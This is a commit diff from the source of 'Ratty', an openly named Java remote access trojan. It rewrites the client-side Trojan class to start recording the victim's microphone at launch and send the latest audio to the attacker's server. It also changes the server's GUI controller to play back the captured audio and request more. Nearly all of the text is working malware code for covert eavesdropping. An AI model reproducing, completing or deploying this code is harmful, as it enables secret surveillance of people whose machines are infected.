Browse Source

Small changes

Fixes
master
Sogomn 9 years ago
parent
commit
95f2a352b4
  1. 2
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 23
      Ratty/src/de/sogomn/rat/Trojan.java
  3. 1
      Ratty/src/de/sogomn/rat/VoiceRecorder.java
  4. 10
      Ratty/src/de/sogomn/rat/packet/VoicePacket.java
  5. 18
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

2
Ratty/src/de/sogomn/rat/Ratty.java

@ -70,7 +70,7 @@ public final class Ratty {
try { try {
final int port = Integer.parseInt(input); final int port = Integer.parseInt(input);
if (port < 0 || port > 65535) {
if (port < 0 || port > 65535) { //65535 = Max port
return -1; return -1;
} }

23
Ratty/src/de/sogomn/rat/Trojan.java

@ -5,28 +5,31 @@ import de.sogomn.rat.packet.VoicePacket;
public final class Trojan implements IClientObserver { public final class Trojan implements IClientObserver {
private VoiceRecorder voiceRecorder;
private byte[] lastData;
private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8; private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8;
public Trojan() { public Trojan() {
//...
voiceRecorder = new VoiceRecorder(MICROPHONE_BUFFER_SIZE);
lastData = new byte[0];
voiceRecorder.addListener((source, data) -> {
lastData = data;
source.start();
});
voiceRecorder.start();
} }
@Override @Override
public void packetReceived(final ActiveClient client, final IPacket packet) { public void packetReceived(final ActiveClient client, final IPacket packet) {
if (packet instanceof VoicePacket) { if (packet instanceof VoicePacket) {
final VoiceRecorder recorder = new VoiceRecorder();
final VoicePacket voice = (VoicePacket)packet; final VoicePacket voice = (VoicePacket)packet;
recorder.setLimit(MICROPHONE_BUFFER_SIZE);
recorder.addListener((source, data) -> {
voice.setData(data);
voice.setData(lastData);
}
packet.execute(client); packet.execute(client);
});
recorder.start();
} else {
packet.execute(client);
}
} }
@Override @Override

1
Ratty/src/de/sogomn/rat/VoiceRecorder.java

@ -66,6 +66,7 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
line.open(); line.open();
line.start(); line.start();
thread.setDaemon(true);
thread.start(); thread.start();
} catch (final LineUnavailableException ex) { } catch (final LineUnavailableException ex) {
stop(); stop();

10
Ratty/src/de/sogomn/rat/packet/VoicePacket.java

@ -55,4 +55,14 @@ public final class VoicePacket extends AbstractPingPongPacket {
this.data = data; this.data = data;
} }
public byte[] getData() {
return data;
}
public Sound getSound() {
final Sound sound = Sound.loadSound(data);
return sound;
}
} }

18
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -7,6 +7,8 @@ import java.util.ArrayList;
import javax.swing.JFileChooser; import javax.swing.JFileChooser;
import javax.swing.JOptionPane; import javax.swing.JOptionPane;
import de.sogomn.engine.fx.ISoundListener;
import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver; import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.builder.StubBuilder; import de.sogomn.rat.builder.StubBuilder;
@ -180,12 +182,23 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
} }
private void handle(final ServerClient serverClient, final VoicePacket packet) { private void handle(final ServerClient serverClient, final VoicePacket packet) {
final VoicePacket voice = new VoicePacket();
final Sound sound = packet.getSound();
packet.execute(serverClient.client);
sound.addListener(new ISoundListener() {
@Override
public void looped(final Sound source) {
//...
}
@Override
public void stopped(final Sound source) {
final VoicePacket voice = new VoicePacket();
serverClient.client.addPacket(voice); serverClient.client.addPacket(voice);
} }
});
sound.play();
}
private void handle(final ServerClient serverClient, final FileSystemPacket packet) { private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
final FileTreePanel treePanel = serverClient.getTreePanel(); final FileTreePanel treePanel = serverClient.getTreePanel();
@ -308,7 +321,6 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
} else if (command == RattyGui.FREE) { } else if (command == RattyGui.FREE) {
serverClient.setStreamingDesktop(false); serverClient.setStreamingDesktop(false);
serverClient.setStreamingVoice(false); serverClient.setStreamingVoice(false);
serverClient.setController(null);
} }
} }

Loading…
Cancel
Save